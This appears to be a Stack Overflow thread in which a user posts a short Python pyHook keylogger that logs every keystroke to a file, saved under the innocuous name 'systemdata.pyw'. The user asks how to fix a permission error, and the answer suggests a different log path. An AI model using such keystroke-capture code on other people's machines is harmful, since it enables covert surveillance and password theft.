Permission Denied for Python Keylogger

Question

I've created a simple python keylogger by following this tutorial: https://www.youtube.com/watch?v=8BiOPBsXh0g

import pyHook, pythoncom, sys, logging

file_log = 'C:\\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

When I run the program, and type something, i get this error in the console:

Traceback (most recent call last):
File "C:\Users\Adithya1\Documents\pywin and pyhook\Newfolder\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Adithya1\Documents\pywin and pyhook\New folder\systemdata.pyw", line 6, in OnKeyboardEvent
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
File "C:\Python27\lib\logging\__init__.py", line 1540, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging\__init__.py", line 911, in __init__
StreamHandler.__init__(self, self._open())
File "C:\Python27\lib\logging\__init__.py", line 936, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\log.txt'

It must be to do with the last line, Permission Denied. Any idea what i need to do to fix this? Any way to run it with administrator privilages?

Thanks in advance

The easiest and, arguably, safest way would be to not write the log to the root of C. Change the "file_log = 'C:\\log.txt'" to something like "file_log = 'C:\\Users\\Adithya1\\log.txt" instead. — stdunbar, Sep 06 '16 at 16:56
okay, thanks. is it possible to add something like %HOMEPATH% (like possible in a batch script) so that it just saves to the home path of the computer? — Tech Planet, Sep 06 '16 at 17:15
@stdunbar You may want to make that an answer, for future questioners. — kirkpatt, Sep 06 '16 at 17:39

score 4 · Answer 1 · edited May 23 '17 at 12:22

4

Reposting as an answer for future use

The easiest and, arguably, safest way would be to not write the log to the root of C. Change the "file_log = 'C:\log.txt'" to something like "file_log = 'C:\Users\Adithya1\log.txt" instead.

There are other links for finding the home directory of the user to make this more portable.

edited May 23 '17 at 12:22

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answered Sep 06 '16 at 17:48

stdunbar

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Permission Denied for Python Keylogger

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